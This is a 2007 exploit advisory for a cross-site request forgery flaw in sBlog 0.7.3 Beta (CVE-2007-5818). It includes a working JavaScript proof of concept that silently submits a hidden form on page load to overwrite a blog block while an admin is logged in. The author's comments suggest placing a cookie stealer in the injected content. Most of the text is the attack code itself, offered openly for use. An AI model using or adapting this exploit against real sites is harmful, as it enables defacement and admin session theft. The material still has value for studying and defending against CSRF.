Bug: sBlog 0.7.3 Beta Cross Site Request Forgery ( Ascii Version )

sBlog 0.7.3 Beta Cross Site Request Forgery

Published	Credit	Risk
2007.11.05	0x90	Low

CWE	CVE	Local	Remote
CWE-352	CVE-2007-5818	No	Yes

<!--

- Product : sBlog

-

- Version : 0.7.3 Beta

-

- Website : http://www.sblog.se

-

- Author : 0x90

-

- Homepage: WwW.0x90.CoM.Ar

-

- Contact : Guns[at]0x90[dot]com[dot]ar

-

- Problem : Cross Site Request Forgery Vulnerability

-

- Sumary : sBlog has, by default, no CSRF protection, this may allow an attacker

to change any block by tricking a victim with admin privileges

into a special forged web page (even in a a totally different server)

that sends a request to change one block in the web. The

victim does not know that the form was sent. If the victim has admin

privileges the exploit will succeed, otherwise nothing will happen.

-

- Note : I recommend steal the cookie ;)

-

- Greetz : xiam ;) Visit: xiam.be

-->

<script type="text/javascript">

window.onload = function() {

var url = "http://[URL]/blocks_edit_do.php";

var bid = [block id];

var topic = [name block];

var content = [cookie stealer];

var param = {

id: bid,

block_topic: topic,

block_content: content,

block_vis: 1,

block_style: 1,

block_top: 1

};

var form = document.createElement('form');

form.action = url;

form.method = 'post';

form.target = 'hidden';

form.style.display = 'none';

for (var i in param) {

try {

// ie

var input = document.createElement('<input name="'+i+'">');

} catch(e) {

// other browsers

var input = document.createElement('input');

input.name = i;

}

input.setAttribute('value', param[i]);

form.appendChild (input);

}

document.body.appendChild(form);

form.submit();

}

</script>

<iframe name="hidden" style="display: none"></iframe>